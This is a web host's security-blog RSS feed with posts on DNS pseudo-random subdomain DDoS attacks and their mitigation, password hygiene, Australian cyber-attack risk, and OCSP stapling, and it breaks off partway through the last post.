<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security &#8211; Conetix</title>
	<atom:link href="https://testing.conetix.com.au/blog/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>https://testing.conetix.com.au</link>
	<description>Premier Web Hosting Provider</description>
	<lastBuildDate>Tue, 11 Feb 2025 03:48:15 +0000</lastBuildDate>
	<language>en-AU</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://testing.conetix.com.au/wp-content/uploads/favicon.png</url>
	<title>Security &#8211; Conetix</title>
	<link>https://testing.conetix.com.au</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>What is a Pseudo Random Subdomain (PRSD) Attack?</title>
		<link>https://testing.conetix.com.au/blog/what-is-a-pseudo-random-subdomain-prsd-attack/</link>
		
		<dc:creator><![CDATA[Tim Butler]]></dc:creator>
		<pubDate>Sun, 14 May 2023 23:46:31 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[dos]]></category>
		<guid isPermaLink="false">https://conetix.com.au/?p=20366</guid>

					<description><![CDATA[Overview A Pseudo Random Subdomain (PRSD) attack is a specific attack designed to send hundreds of thousands of legitimate but malicious Domain Name Service (DNS) requests at a nameserver in order to perform a Distributed Denial of Service (DDoS) attack. This can also be referred to as a DNS water torture attack but is essentially the...  <a class="excerpt-read-more" href="https://testing.conetix.com.au/blog/what-is-a-pseudo-random-subdomain-prsd-attack/" title="Read What is a Pseudo Random Subdomain (PRSD) Attack?">Read more &#187;</a>]]></description>
										<content:encoded><![CDATA[


<h2 class="wp-block-heading" id="overview">Overview</h2>



<p>A Pseudo Random Subdomain (PRSD) attack is a specific attack designed to send hundreds of thousands of legitimate but malicious Domain Name Service (DNS) requests at a nameserver in order to perform a Distributed Denial of Service (DDoS) attack. This can also be referred to as a<em> DNS water torture attack</em> but is essentially the same thing.</p>



<p>Instead of just flooding the server with packets like many other DDoS attacks, the packets sent are legitimate DNS requests and due to the pseudo-random nature, they’re designed to be as legitimate as possible.</p>



<p>These attacks are therefore quite powerful, as their legitimate nature means they can bypass many of the DDoS protections and most of the automatic mitigations of most firewalls and DDoS scrubbers (automatic filters for large attacks or malicious attacks) and therefore overwhelm most nameservers.</p>



<p>While the attacks aren’t new, they have been evolving rapidly in the past 12 months to exploit new and different ways to ensure the attack makes it through.</p>



<h2 class="wp-block-heading" id="what-does-the-attack-look-like">What does the attack look like?</h2>



<p>A normal DNS query may look like this:</p>



<figure class="wp-block-image size-full is-resized"><img fetchpriority="high" decoding="async" src="https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-normal-request.png" alt="" class="wp-image-20370" width="990" height="747" srcset="https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-normal-request.png 1320w, https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-normal-request-300x226.png 300w, https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-normal-request-1024x773.png 1024w, https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-normal-request-768x579.png 768w, https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-normal-request-50x38.png 50w, https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-normal-request-32x24.png 32w, https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-normal-request-64x48.png 64w, https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-normal-request-128x97.png 128w" sizes="(max-width: 990px) 100vw, 990px" /></figure>



<p>When your web browser goes to load a webpage (in this example, <a href="https://www.test.com">www.test.com</a>), it needs to know what server this website is on. A DNS request will convert the name into an IP address, which then allows your browser to talk to the right server.&nbsp;</p>



<p>For most environments, your Internet Service Provider (ISP) runs local DNS recursors which make the request on your behalf, as this allows them to cache (keep a copy of) the record to help speed up all future requests as well as other customer’s requests for the same website.</p>



<p>A pseudo-random DNS query will then look like this:</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" src="https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-request.png" alt="" class="wp-image-20371" width="990" height="747" srcset="https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-request.png 1320w, https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-request-300x226.png 300w, https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-request-1024x773.png 1024w, https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-request-768x579.png 768w, https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-request-50x38.png 50w, https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-request-32x24.png 32w, https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-request-64x48.png 64w, https://testing.conetix.com.au/wp-content/uploads/2023/05/dns-prsd-attack-request-128x97.png 128w" sizes="(max-width: 990px) 100vw, 990px" /></figure>



<p>As you can see, there’s very little difference between the two requests. In many of these PRSD attacks, the attackers are using legitimate DNS servers such as ISP’s and larger providers such as Google to make the requests. </p>



<p>However, a single request of course isn’t enough and as mentioned above, recursors cache a copy of the record so that if it receives a second request within what’s called the Time to live (or TTL for short) then it doesn’t have to ask the authoritative server again.</p>



<p>Instead, PRSD attacks will ensure that every request is unique by creating subdomain requests (eg www and fast123 in the example) based on dictionary words. These dictionaries can even be based on records of legitimate records used elsewhere (eg mail.test.com, blog.test.com, shop.test.com and so forth) so that the requests are as legitimate as possible.</p>



<p>This means that <strong>every</strong> request therefore has to reach the end authoritative server (eg your hosting provider) and it then has to process it. Because the requests are unique, any caching then at the authoritative end won’t work either so it can be hugely intensive on their infrastructure. These attacks can be in the millions and being legitimate requests, this will simply overwhelm most nameservers.&nbsp;</p>



<h2 class="wp-block-heading" id="what-can-be-done-to-prevent-the-attacks">What can be done to prevent the attacks?</h2>



<p>This is the million dollar question. PRSD attacks in the past may have come directly from other compromised systems so the attacking IP could simply be dropped if it’s sending too many DNS queries per second. Many systems either had limits in place here or the use of firewalls and upstream DDoS scrubbers could detect abnormal packet rates and mitigate the attack.</p>



<p>However, modern attacks are exploiting the fact that some of the largest DNS resolvers have highly distributed infrastructure. For example, <a href="https://developers.google.com/speed/public-dns" target="_blank" rel="noreferrer noopener">Google’s public resolver</a> (8.8.8.8) isn’t just one server but a very large fleet of servers and services. If you make a query against their recursive server, this request to the authoritative server could come from one of hundreds of thousands of servers behind the scenes.</p>



<p>Because of the distributed nature of their infrastructure (required to make it so resilient), this means the requests could come from hundreds of thousands of different IP’s and from any of the countries Google has infrastructure in.&nbsp; Even worse, if the system attempts to rate limit or block this IP, it also affects all other legitimate requests through Google’s servers for all other domains as well.</p>



<p>This leaves three key options.&nbsp;</p>



<h3 class="wp-block-heading" id="more-servers"><strong>More servers</strong></h3>



<p>The first is to increase the size of the authoritative DNS infrastructure. If the attacks are five hundred (500) times larger than your normal traffic flow then you’ll need to scale your infrastructure out to be five hundred times larger. This also includes ensuring that your firewalls and upstream network infrastructure also scales to this point.&nbsp;</p>



<p>As you can expect, this is a very costly approach to solving the problem so the least likely to be implemented. If you have the infrastructure spare (ie already racked and paid for), then this would be the only time this is a viable option.</p>



<h3 class="wp-block-heading" id="per-domain-limits"><strong>Per domain limits</strong></h3>



<p>Instead of limiting DNS queries per IP, you would need to limit the overall DNS queries per domain. This is possible via some DNS authoritative servers or it may require a proxy service such as <a href="https://dnsdist.org/" target="_blank" rel="noreferrer noopener">dnsdist</a> to implement. </p>



<p>This can require some complicated scripting to achieve, with a high likelihood of still negatively affecting the domain being attacked (or used in the attack).</p>



<h3 class="wp-block-heading" id="dedicated-dns-ddos-protection"><strong>Dedicated DNS DDoS protection</strong></h3>



<p>While this sounds like the easiest option, it could also be costly depending on your scenario. As an individual or company, you could use one of the large providers such as Akamai or Cloudflare to protect your domain. This could become quite expensive or convoluted if you have multiple domains to manage and may break integrations with your existing infrastructure, so there are a number of factors to consider.</p>



<p>If you’re a service provider and have thousands of domains to protect, there are options available as third party services or as dedicated on-premises hardware or VM based systems. They all of course all vary in terms of price and complexity to manage and it can be difficult to evaluate as simulation of attacks aren&#8217;t ever as accurate as the real thing.</p>



<h2 class="wp-block-heading" id="what’s-the-best-solution"><strong>What’s the best solution?</strong></h2>



<p>There is no magic answer here. The nature of these attacks means that they’ll find any weakness possible to exploit. Many of the systems require constant fine tuning as it’s a continual cat and mouse game. The moment you put effective mitigation in place, it means the nature of the attack can (and will!) vary to disrupt.&nbsp;</p>



<p>It may also be that the solution you choose today won’t be the right solution in 1-2 years time. The key is as the threat evolves, your mitigation strategies need to evolve with it.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Good Password Hygiene</title>
		<link>https://testing.conetix.com.au/blog/good-password-hygiene-2023/</link>
		
		<dc:creator><![CDATA[Tim Butler]]></dc:creator>
		<pubDate>Wed, 18 Jan 2023 03:52:56 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[2023]]></category>
		<category><![CDATA[mfa]]></category>
		<category><![CDATA[passwords]]></category>
		<category><![CDATA[secure]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[strength]]></category>
		<guid isPermaLink="false">https://conetix.com.au/?p=19502</guid>

					<description><![CDATA[As the year gets off to a flying start, now is the time to work on and tidy up our passwords. Like all systems, good password hygiene can help to ensure you remain secure and avoid costly exploits.&#160; Instead of waiting for an incident to occur, we want to be one step in front and...  <a class="excerpt-read-more" href="https://testing.conetix.com.au/blog/good-password-hygiene-2023/" title="Read Good Password Hygiene">Read more &#187;</a>]]></description>
										<content:encoded><![CDATA[


<p>As the year gets off to a flying start, now is the time to work on and tidy up our passwords. Like all systems, good password hygiene can help to ensure you remain secure and avoid costly exploits.&nbsp;</p>



<p>Instead of waiting for an incident to occur, we want to be one step in front and prevent it from ever occurring in the first place. Our article on the <a href="https://testing.conetix.com.au/blog/secure-passwords-why-theyre-important/" data-type="post" data-id="1962">Importance of Secure Passwords</a> covers in detail how and why to use secure passwords, but this mostly only occurs in scenarios where you’ve started from scratch. We also need to retrospectively update and strengthen old passwords and old decisions we made a decade or more ago.</p>



<p>Here’s our top tips to do your bit of password hygiene.</p>



<h2 class="wp-block-heading">1: Use Unique Passwords</h2>



<p>During 2023, we saw a significant number of websites compromised where password re-use was the cause. </p>



<h2 class="wp-block-heading">2: Use a Password Manager</h2>



<p>As passwords grow in both complexity and length, trying to remember them all is impossible. Thankfully, modern password managers make this easy and integrate neatly with your desktop, laptop, browser and even your mobile phone.</p>



<p>A good password manager means you need to just remember one password to authenticate, so you can make it a strong passphrase and know the rest of the passwords will be secure as well.</p>



<p>As mentioned in our <a href="https://testing.conetix.com.au/blog/secure-passwords-why-theyre-important/" target="_blank" data-type="post" data-id="1962" rel="noreferrer noopener">Secure Passwords</a> guide, our two picks are:</p>



<ul class="wp-block-list">
<li><a href="https://bitwarden.com">Bitwarden</a></li>



<li><a href="https://1password.com/">1Password</a></li>
</ul>



<h2 class="wp-block-heading">3: Increase your minimum password strength</h2>



<p>With compute power rapidly increasing, the time to crack passwords is rapidly decreasing. Your secure password 10 years ago of 8 characters used to take about 90 years worth of compute power to brute force (keep trying until it’s found) on average. On modern systems, this is now <em>8 hours or less</em>.&nbsp;</p>



<p>We recommend increasing this to <strong>at least 10 characters</strong> (with a mix of upper / lower case and symbols), which takes 5 years to brute force. Even better, a move to 12 characters pushes this out to 34,000 years and will ensure it remains secure for at least the foreseeable future as compute power continues to increase.</p>



<h2 class="wp-block-heading">4: Update old passwords</h2>



<p>Most systems won’t force password changes as password policies change, as it causes too much disruption to their customers. While we don’t recommend updating all passwords constantly (it’s only required if you reused passwords), older ones you first started using may be short in length (8 characters or fewer) or set at a time when you reused passwords (we all did at some point!).&nbsp;</p>



<p>Some password managers can even check your passwords against known lists of exposed passwords, meaning these are critical to update.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="464" height="196" src="https://testing.conetix.com.au/wp-content/uploads/2023/01/bitwarden-exposed-passwords.png" alt="" class="wp-image-19503" title="Exposed Passwords" srcset="https://testing.conetix.com.au/wp-content/uploads/2023/01/bitwarden-exposed-passwords.png 464w, https://testing.conetix.com.au/wp-content/uploads/2023/01/bitwarden-exposed-passwords-300x127.png 300w, https://testing.conetix.com.au/wp-content/uploads/2023/01/bitwarden-exposed-passwords-50x21.png 50w, https://testing.conetix.com.au/wp-content/uploads/2023/01/bitwarden-exposed-passwords-32x14.png 32w, https://testing.conetix.com.au/wp-content/uploads/2023/01/bitwarden-exposed-passwords-64x27.png 64w, https://testing.conetix.com.au/wp-content/uploads/2023/01/bitwarden-exposed-passwords-128x54.png 128w" sizes="(max-width: 464px) 100vw, 464px" /></figure>



<p>These services work by comparing a partial hash of your password, so they don’t directly expose your password at all. If you don’t have a password manager with all your passwords in yet or want another check, we also recommend <a href="https://haveibeenpwned.com" target="_blank" rel="noreferrer noopener">haveibeenpwned.com</a>.</p>



<p>This is an email based comparison, so it will check your email address and let you know what and where your account may have been exposed.</p>



<h2 class="wp-block-heading">5: Use Multi-Factor Authentication</h2>



<p>Especially for key services such as your password manager and critical logins, Multi-Factor Authentication (MFA) is a must. While it may seem like a bit of an inconvenience at first, many systems will remember the device you use for a set number of days to reduce this inconvenience.</p>



<p>MFA also means that the chances of your password being used without your knowledge where some external site or system has been compromised. While it’s not completely infallible to <a href="https://testing.conetix.com.au/support/preventing-email-domain-misuse-and-phishing/">phishing</a> (where there’s a fake form designed to steal your username and password), it does significantly reduce the risk as most MFA login methods are very time sensitive.</p>



<h2 class="wp-block-heading">6: Removing old password managers</h2>



<p>Many people have used more than one password manager in their lifetime, especially if you’re using the inbuilt manager within your browser as well. These can be easily forgotten and like the <a href="https://techcrunch.com/2022/12/22/lastpass-customer-password-vaults-stolen/">LastPass hack</a> recently, a copy of your encrypted data can still be stolen and leave you vulnerable. If you haven’t rotated all your passwords since changing systems, we highly recommend reviewing older systems and deleting your account.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p>Hopefully, by following these simple steps you can reduce your risk to a security incident. Of course passwords are only one part of this puzzle but as we’ve seen in recent security exploits it’s now a very critical one.&nbsp;</p>



<p>Any steps to avoid having to deal with the time, cost and reputation impacts associated with a security exploit should be taken at every available opportunity. With the average cost of a cyber security incident now in the millions for Australian businesses along with 200+ days of lost productivity, simply doing nothing to increase your security and protect your systems could prove to be very costly.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Australian Cyber Attacks: Who&#8217;s at risk?</title>
		<link>https://testing.conetix.com.au/blog/cyber-attacks-whos-at-risk/</link>
		
		<dc:creator><![CDATA[Tim Butler]]></dc:creator>
		<pubDate>Fri, 19 Jun 2020 03:58:54 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[cyber]]></category>
		<category><![CDATA[cyber attack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[state based actor]]></category>
		<guid isPermaLink="false">https://conetix.com.au/?p=11224</guid>

					<description><![CDATA[Overview The word &#8220;cyber&#8221; gets thrown around quite a bit as a marketing term but no matter what you call it, cyber attacks are no joke. The threats are real and certainly constant, which is why it&#8217;s important to ensure you take steps to protect yourself and your business. If you have a system connected...  <a class="excerpt-read-more" href="https://testing.conetix.com.au/blog/cyber-attacks-whos-at-risk/" title="Read Australian Cyber Attacks: Who&#8217;s at risk?">Read more &#187;</a>]]></description>
										<content:encoded><![CDATA[


<h2 class="wp-block-heading">Overview</h2>



<p>The word &#8220;cyber&#8221; gets thrown around quite a bit as a marketing term but no matter what you call it, cyber attacks are no joke. The threats are real and certainly constant, which is why it&#8217;s important to ensure you take steps to protect yourself and your business.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"><p>If you have a system connected to the Internet, you need to take steps to protect it.</p></blockquote>



<p>Just recently (June 2020), the Prime Minister has <a rel="noreferrer noopener" href="https://www.abc.net.au/news/2020-06-19/foreign-cyber-hack-targets-australian-government-and-business/12372470" data-type="URL" data-id="https://www.abc.net.au/news/2020-06-19/foreign-cyber-hack-targets-australian-government-and-business/12372470" target="_blank">warned</a> that there&#8217;s increased activity and significant cyber attacks currently occurring against a number of government services as well as commercial entities.</p>



<h2 class="wp-block-heading">What is a Cyber Attack?</h2>



<p>To put simply, any attack over the Internet. This can be against your website, against your email, against your servers and infrastructure and/or against your personal devices and computers.</p>



<h2 class="wp-block-heading">What is a state based actor?</h2>



<p>This is someone who is acting on behalf of a foreign government. Due to political sensitivity of naming particular countries, government entities will normally use this as a generic term to avoid diplomatic fall-out.</p>



<p>While knowing the country may seem important, <strong>it&#8217;s not.</strong> There&#8217;s nothing unique about any country who initiates an attack, the <strong>focus needs to be on the protection against the attacks</strong>.</p>



<h2 class="wp-block-heading">What are they trying to do?</h2>



<p>The attack reasons are wide and varied. There&#8217;s generally four reasons attacks occur:</p>



<p><strong>Disruption. </strong>This can include disruption to your network, your website and/or your email services. If the attack is aimed at causing pain or </p>



<p><strong>Extraction of information.</strong> Malicious users may be after your information. If they can extract users from your website, then they can easily target your customers with fake sales, <a href="https://testing.conetix.com.au/blog/it-security-during-the-covid-19-pandemic/#Phishing">phishing</a> campaigns and similar. This information may also have a commercial value, which means they may seek to sell the information.</p>



<p><strong>Financial Gain.</strong> The common one here is if your site is under attack, you&#8217;ve been infected by cryptoware or they&#8217;ve managed to extract confidential information then they may use this for financial gain. This may be in the form of a ransom they request you pay or if information is extracted has commercial value then it may be sold off to the highest bidder.</p>



<p>If your site is under a DDoS attack, then they may request that you pay a fee for the attack to stop.</p>



<p><strong>Zombie Net.</strong> To put simply, they want any website or email they can compromise in order to use it however they please. This could be to send spam, run phishing campaigns, launch DDoS attacks or simply to hack more websites to build their pool of resources for future use.</p>



<p>Again, the <strong>focus should be on protection</strong>.</p>



<h2 class="wp-block-heading">Who needs to be worried?</h2>



<p><strong>You should be alert, not alarmed.</strong> If you&#8217;ve taken steps to mitigate the risks, then the likelihood of having an issue will be greatly reduced.</p>



<p>These threats exist 24/7 and while there&#8217;s currently some heightened activity, there&#8217;s never a time where the threat is ever zero. These current attacks should simply serve as a reminder that you can&#8217;t ever forget your security and should serve as an opportunity to review your current protection.</p>



<p><strong>If you&#8217;re a government entity or work with large corporations</strong> then it may be pertinent to look at increasing your security through greater risk mitigation. This will require a more detailed review of your current security strategies and while well beyond the scope of this document, Conetix can provide general advice in regards to options for your website.</p>



<h2 class="wp-block-heading">But why would they be interested in my business?</h2>



<p>The mistake many make is that they don&#8217;t have to worry about security as they&#8217;re too small to be a target. While your business or website may not be on their radar to directly target, it&#8217;s an absolute guarantee that your website has already been the subject of an attempted breach.</p>



<p>The easiest way to describe this is like a thief trying to steal a car. If they have a key fob which can unlock certain cars, then they&#8217;ll walk up and down parking lots until a car unlocks. In this scenario they didn&#8217;t target that particular car, but it was simply the one which unlocked first.</p>



<p>Websites with security vulnerabilities (such as out-of-date plugins or code) are exactly like this. Hackers won&#8217;t be targeting your site directly, but scouring the Internet looking for the first weakness they can find. If your website has a security vulnerability then it&#8217;s highly likely it will be hacked.</p>



<h2 class="wp-block-heading">What does Conetix do to protect us?</h2>



<p>We take the security of our systems very seriously and continue to adjust and evolve our platform constantly to ensure we provide one of Australia&#8217;s most secure hosting platforms. </p>



<p>To do this, we use a multilayered security approach. This includes high level protection from dedicated DDoS attack protection upstream to our network through to Intrusion Protection Systems (IPS) within our dedicated, hardware firewalls. This information is also monitored so that anomalies are detected and can be investigated immediately.</p>



<p>At a server level, we then run and constantly update all the software regularly to ensure the latest security patches are applied as well as apply server level lockdowns and set further restrictions specific to our needs.</p>



<p>We then offer (as an additional service) a fully featured Web Application Firewall (WAF) and real-time malware scanners for our managed clients to again provide further layers of protection.</p>



<h2 class="wp-block-heading">What do I need to do?</h2>



<p>There&#8217;s a number of steps you can take to help protect yourself and your data. We covered most of these recently with our article on <a href="https://testing.conetix.com.au/blog/it-security-during-the-covid-19-pandemic/">IT security during COVID 19</a>, but it&#8217;s always good to go through them quickly again.</p>



<p><strong>Use secure passwords</strong>. We have a great article on the <a href="https://testing.conetix.com.au/blog/secure-passwords-why-theyre-important/" data-type="post" data-id="1962">importance of secure passwords</a> which will help you choose and use better passwords. Always unique, longer than 10 characters and kept securely in a password manager should be the bare minimum.</p>



<p><strong>Keep your website up-to-date.</strong> Websites like all software based systems require constant updates. We recommend running updates at least once a week, or using a service such as our <a href="https://testing.conetix.com.au/managed-wordpress-hosting/" data-type="page" data-id="11">Managed WordPress Hosting</a> to have someone take care of this on your behalf.</p>



<p><strong>Use Multi Factor Authentication.</strong> This means instead of just having a password to login, your website, email, server and similar all require a secondary authentication method. This is normally in the form of an extra app on your phone such as the <a href="https://docs.microsoft.com/en-us/azure/active-directory/user-help/user-help-auth-app-download-install" target="_blank" rel="noreferrer noopener">Azure Authenticator App</a>, <a href="https://authy.com/" target="_blank" rel="noreferrer noopener">Authy</a> or <a href="https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&amp;hl=en_AU" target="_blank" rel="noreferrer noopener">Google Authenticator</a>.</p>



<p><strong>Ensure you have reliable, off-site backups.</strong> In the event of a disaster or even an accidental change or deletion, you&#8217;ll be reliant on your backups. For your website, this can be managed within <a href="https://testing.conetix.com.au/support/plesk-onxy-scheduling-backup/" data-type="ht_kb" data-id="3247">Plesk</a> or via a plugin for your website. We highly recommend that you also test your backups to ensure they actually contain all of the data.</p>



<p><strong>Ensure your PC&#8217;s all have Anti-Virus protection.</strong> Our expertise is in web and not necessarily desktops so we&#8217;d advise you to ensure you have some form of protection enabled and up-to-date (even Windows Defender). Ensuring your PC has all of the latest updates applied is also critical.</p>



<p><strong>Keep yourself educated.</strong> As the threats evolve, so should your knowledge of them. Obviously we recommend following us on <a href="https://www.facebook.com/conetix/" target="_blank" rel="noreferrer noopener">Facebook</a>, <a href="https://twitter.com/conetix?lang=en" target="_blank" rel="noreferrer noopener">Twitter</a> or <a href="https://www.linkedin.com/company/conetix" target="_blank" rel="noreferrer noopener">LinkedIn</a> so that you see when we publish security related information but we also recommend the <a href="https://www.cyber.gov.au/" target="_blank" rel="noreferrer noopener">Australian Cyber Security Centre</a> website for detailed information.</p>



<p><strong>Conduct a review of your systems.</strong> This should be done on a regular basis and ideally completed with a security professional. A systematic approach of identifying all of the websites and infrastructure associated with your business will then allow you to conduct a risk assessment against these to then determine if you have any changes or weak areas to address.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p>We always like to remind ourselves and remind customers: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"><p>Security is only as strong as your weakest point.</p></blockquote>



<p>There&#8217;s no point having the world&#8217;s most secure password if you don&#8217;t keep your website up-to-date and vice versa. Security requires a holistic approach to ensure <strong>all</strong> attack vectors are covered.</p>



<p>If you have any concerns over the security of your website, please don&#8217;t hesitate to <a href="https://testing.conetix.com.au/contact/" data-type="page" data-id="44">contact us</a> so that one of our team members can conduct a basic assessment for you (at no cost). The security of our customers is utmost importance to us so we will always ensure we do whatever we can to keep your website, emails and data safe.</p>



<p class="has-small-font-size"><em>Main Photo by <a href="https://unsplash.com/@markusspiske?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Markus Spiske</a> on <a href="https://unsplash.com" class="rank-math-link">Unsplash</a>.</em></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>OCSP Stapling: Why should I enable it for my site?</title>
		<link>https://testing.conetix.com.au/blog/ocsp-stapling-why-enable-it-for-my-site/</link>
		
		<dc:creator><![CDATA[Jamin Andrews]]></dc:creator>
		<pubDate>Thu, 30 Apr 2020 02:30:00 +0000</pubDate>
				<category><![CDATA[Hosting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[WordPress]]></category>
		<guid isPermaLink="false">https://conetix.com.au/?p=10766</guid>

					<description><![CDATA[Since Google first announced that securing a website via a SSL certificate would be considered a ranking signal for SEO, lots of web hosting providers including us here at Conetix started providing free SSL certificates via SSL certificate providers like Let’s Encrypt.&#160; By providing a SSL certificate for your website you can now force all...  <a class="excerpt-read-more" href="https://testing.conetix.com.au/blog/ocsp-stapling-why-enable-it-for-my-site/" title="Read OCSP Stapling: Why should I enable it for my site?">Read more &#187;</a>]]></description>
										<content:encoded><![CDATA[
<p>Since Google first announced that securing a website via a SSL certificate would be considered a ranking signal for SEO, lots of web hosting providers including us here at Conetix started providing free SSL certificates via SSL certificate providers like <a href="https://testing.conetix.com.au/blog/lets-encrypt-free-certificates-on-all-conetix-host/">Let’s Encrypt</a>.&nbsp;</p>



<p>By providing a SSL certificate for your website you can now force all traffic for your website to use https:// &#8211; <strong>H</strong>yper<strong>T</strong>ext <strong>T</strong>ransport <strong>P</strong>rotocol <strong>S</strong>ecure rather than standard https://.</p>



<p>With this change and focus on securing websites, browser developers like Google (Chrome) and Firefox started displaying secure and insecure site lock natively in their browser. Their goal is to provide a more secure Internet and provide trust from your website to the end user.&nbsp;</p>



<h2 class="wp-block-heading"><strong>So what is OCSP Stapling?</strong></h2>



<p><strong>O</strong>nline <strong>C</strong>ertificate <strong>S</strong>tatus <strong>P</strong>rotocol (OCSP) stapling is the standard for checking the revocation status of a digital certificate that is assigned to a website or web service, in simple terms;&nbsp; is your website&#8217;s SSL certificate valid.&nbsp;</p>



<p>To understand a little more about OCSP stapling we need to cover two parts; OCSP itself and the extension stapling.</p>



<p>OCSP itself is an independent protocol that allows the web browser to verify the SSL certificate.</p>



<p>Validity. The browser checks the website&#8217;s certificate in real time against the Certified Authority (CA) and responds with a good, revoked or unknown. With this verification process each request&nbsp; or query has to be processed in real time and incurs a resource cost.&nbsp;</p>



<p>This cost is not only a bandwidth cost, backend server resource cost but also an end user browser cost in terms of slower performance. The busier the website is the more resource cost and in turn the slower the website becomes.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img loading="lazy" decoding="async" width="767" height="731" src="https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-3-connections.png" alt="Image showing OSCP prior to adding stapling." class="wp-image-10823" style="width:384px;height:366px" srcset="https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-3-connections.png 767w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-3-connections-300x286.png 300w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-3-connections-50x48.png 50w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-3-connections-32x30.png 32w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-3-connections-64x61.png 64w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-3-connections-128x122.png 128w" sizes="auto, (max-width: 767px) 100vw, 767px" /></figure></div>


<p>To overcome this resource cost limitation stapling was introduced and as the term suggests, the additional protocol is stapled or added to OCSP to improve this cost and speed up the process between the end users browser and the website. A time-stamped OCSP response is stapled to the request which eliminates the need for the end user browser to contact the CA directly.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img loading="lazy" decoding="async" width="790" height="436" src="https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-Cached-Copy.png" alt="Image showing how OCSP speed is increased by adding stapling" class="wp-image-10828" style="width:395px;height:218px" srcset="https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-Cached-Copy.png 790w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-Cached-Copy-300x166.png 300w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-Cached-Copy-768x424.png 768w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-Cached-Copy-50x28.png 50w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-Cached-Copy-32x18.png 32w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-Cached-Copy-64x35.png 64w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OCSP-Cached-Copy-128x71.png 128w" sizes="auto, (max-width: 790px) 100vw, 790px" /></figure></div>


<h2 class="wp-block-heading"><strong>Why would you use OCSP stapling?</strong></h2>



<p>This simple addition to your website&#8217;s SSL certificate improves both security and performance. This in turn provides trust in your website and end user confidence in using your site. Once again it also provides a ranking signal for Google which improves ever so slightly your overall ranking of your domain and website itself.</p>



<blockquote class="wp-block-quote is-style-large is-layout-flow wp-block-quote-is-layout-flow">
<p>Increases Trust<br>Speeds up your website<br>Improves Google SEO Ranking<br></p>
</blockquote>



<h2 class="wp-block-heading"><strong>How can you take advantage of OCSP Stapling?</strong></h2>



<p>The good news is that OCSP stapling has been implemented by all the major web server providers like NGINX,Apache, LiteSpeed and Microsoft Windows Server.</p>



<p>With the major web server providers implementing this protocol, many server management panel providers such as Plesk, have taken advantage of this and have created a simple way to implement and manage quickly without any technical expertise.</p>


<div class="wp-block-image">
